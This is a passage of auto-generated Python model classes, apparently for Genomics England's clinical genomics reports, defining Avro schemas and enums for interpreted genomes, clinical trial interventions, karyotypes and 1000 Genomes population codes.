kwargs.get( 'vcfs', None) self.versionControl = kwargs.get( 'versionControl', ReportVersionControl()) self.workspace = kwargs.get( 'workspace', None) class InterpretedGenome(ProtocolElement): """ A interpreted genome for the rare disease program. This holds the list of candidate variants reported by an interpretation service together with all the relevant information that identify the case and how these conclusions were reached. """ _schemaSource = """ {"type": "record", "name": "InterpretedGenome", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "versionControl", "type": {"type": "record", "name": "ReportVersionControl", "fields": [{"name": "gitVersionControl", "type": "string", "doc": "", "default": "6.0.0"}]}, "doc": ""}, {"name": "interpretationRequestId", "type": "string", "doc": ""}, {"name": "interpretationRequestVersion", "type": "int", "doc": ""}, {"name": "interpretationService", "type": "string", "doc": ""}, {"name": "reportUrl", "type": ["null", "string"], "doc": ""}, {"name": "variants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "SmallVariant", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantCalls", "type": {"type": "array", "items": {"type": "record", "name": "VariantCall", "doc": "", "fields": [{"name": "participantId", "type": "string", "doc": ""}, {"name": "sampleId", "type": "string", "doc": ""}, {"name": "zygosity", "type": {"type": "enum", "name": "Zygosity", "doc": "", "symbols": ["reference_homozygous", "heterozygous", "alternate_homozygous", "missing", "half_missing_reference", "half_missing_alternate", "alternate_hemizigous", "reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]}}], "doc": ""}, {"name": "structuralVariants", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StructuralVariant", "fields": [{"name": "variantType", "type": {"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields": [{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name": "BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type": {"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name": "leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type": "array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null", "VariantAttributes"]}, {"name": "shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name": "ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"}, {"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name": "normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name": "uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc": ""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols": ["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type": ["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment", "fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols": ["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type": "record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name": "relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type": "float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc": ""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "referenceDatabasesVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type": "map", "values": "string"}, "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "chromosomalRearrangements", "comments", "interpretationRequestId", "interpretationRequestVersion", "interpretationService", "karyotypes", "referenceDatabasesVersions", "reportUrl", "shortTandemRepeats", "softwareVersions", "structuralVariants", "uniparentalDisomies", "variants", "versionControl", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'chromosomalRearrangements': ChromosomalRearrangement, 'karyotypes': Karyotype, 'shortTandemRepeats': ShortTandemRepeat, 'structuralVariants': StructuralVariant, 'uniparentalDisomies': UniparentalDisomy, 'variants': SmallVariant, 'versionControl': ReportVersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'chromosomalRearrangements': ChromosomalRearrangement, 'karyotypes': Karyotype, 'shortTandemRepeats': ShortTandemRepeat, 'structuralVariants': StructuralVariant, 'uniparentalDisomies': UniparentalDisomy, 'variants': SmallVariant, 'versionControl': ReportVersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'chromosomalRearrangements', 'comments', 'interpretationRequestId', 'interpretationRequestVersion', 'interpretationService', 'karyotypes', 'referenceDatabasesVersions', 'reportUrl', 'shortTandemRepeats', 'softwareVersions', 'structuralVariants', 'uniparentalDisomies', 'variants', 'versionControl' ] def __init__(self, **kwargs): self.chromosomalRearrangements = kwargs.get( 'chromosomalRearrangements', None) self.comments = kwargs.get( 'comments', None) self.interpretationRequestId = kwargs.get( 'interpretationRequestId', None) self.interpretationRequestVersion = kwargs.get( 'interpretationRequestVersion', None) self.interpretationService = kwargs.get( 'interpretationService', None) self.karyotypes = kwargs.get( 'karyotypes', None) self.referenceDatabasesVersions = kwargs.get( 'referenceDatabasesVersions', None) self.reportUrl = kwargs.get( 'reportUrl', None) self.shortTandemRepeats = kwargs.get( 'shortTandemRepeats', None) self.softwareVersions = kwargs.get( 'softwareVersions', None) self.structuralVariants = kwargs.get( 'structuralVariants', None) self.uniparentalDisomies = kwargs.get( 'uniparentalDisomies', None) self.variants = kwargs.get( 'variants', None) self.versionControl = kwargs.get( 'versionControl', ReportVersionControl()) class Intervention(ProtocolElement): """ A process or action that is the focus of a clinical study. Ref. https://prsinfo.clinicaltrials.gov/definitions.html """ _schemaSource = """ {"type": "record", "name": "Intervention", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "interventionName", "interventionType", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'interventionName', 'interventionType' ] def __init__(self, **kwargs): self.interventionName = kwargs.get( 'interventionName', None) self.interventionType = kwargs.get( 'interventionType', None) class InterventionType(object): """ For each intervention studied in the clinical study, the general type of intervention * `drug`: Including placebo * `device`: Including sham * `biological`: Vaccine * `procedure`: Surgery * `radiation` * `behavioral`: For example, psychotherapy, lifestyle counselling * `genetic`: Including gene transfer, stem cell and recombinant DNA * `dietary_supplement`: For example, vitamins, minerals * `combination_product`: Combining a drug and device, a biological product and device; a drug and biological product; or a drug, biological product, and device * `diagnostic_test`: For example, imaging, in-vitro * `other` Ref. https://prsinfo.clinicaltrials.gov/definitions.htm """ drug = "drug" device = "device" procedure = "procedure" biological = "biological" radiation = "radiation" behavioral = "behavioral" genetic = "genetic" dietary_supplement = "dietary_supplement" combination_product = "combination_product" diagnostic_test = "diagnostic_test" other = "other" def __hash__(self): return str(self).__hash__() class Karyotype(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "Karyotype", "namespace": "org.gel.models.report.avro", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "aneuploidies", "description", "iscn", "numberOfChromosomes", "participantId", "personKaryotipicSex", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'aneuploidies': Aneuploidy, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'aneuploidies': Aneuploidy, } return embeddedTypes[fieldName] __slots__ = [ 'aneuploidies', 'description', 'iscn', 'numberOfChromosomes', 'participantId', 'personKaryotipicSex' ] def __init__(self, **kwargs): self.aneuploidies = kwargs.get( 'aneuploidies', None) self.description = kwargs.get( 'description', None) self.iscn = kwargs.get( 'iscn', None) self.numberOfChromosomes = kwargs.get( 'numberOfChromosomes', None) self.participantId = kwargs.get( 'participantId', None) self.personKaryotipicSex = kwargs.get( 'personKaryotipicSex', None) class KgPopCategory(object): """ 1K Genomes project populations """ ACB = "ACB" ASW = "ASW" BEB = "BEB" CDX = "CDX" CEU = "CEU" CHB = "CHB" CHS = "CHS" CLM = "CLM" ESN = "ESN" FIN = "FIN" GBR = "GBR" GIH = "GIH" GWD = "GWD" IBS = "IBS" ITU = "ITU" JPT = "JPT" KHV = "KHV" LWK = "LWK" MSL = "MSL" MXL = "MXL" PEL = "PEL" PJL = "PJL" PUR = "PUR" STU = "STU" TSI = "TSI" YRI = "YRI" def __hash__(self): return str(self).__hash__() class KgSuperPopCategory(object): """ 1K Genomes project super populations """ AFR = "AFR" AMR = "AMR" EAS = "EAS" EUR = "EUR" SAS = "SAS" def __hash__(self): return str(self).__hash__() class Laterality(object): """ No documentation """ RIGHT = "RIGHT" UNILATERAL = "UNILATERAL" BILATERAL = "BILATERAL" LEFT = "LEFT" def __hash__(self): return str(self).__hash__() class LifeStatus(object): """ Life Status """ ALIVE = "ALIVE" ABORTED = "ABORTED" DECEASED = "DECEASED" UNBORN = "UNBORN" STILLBORN = "STILLBORN" MISCARRIAGE = "MISCARRIAGE" def __hash__(self): return str(self).__hash__() class MatchedSamples(ProtocolElement): """ This defines a pair of germline and tumor, this pair should/must be analyzed together """ 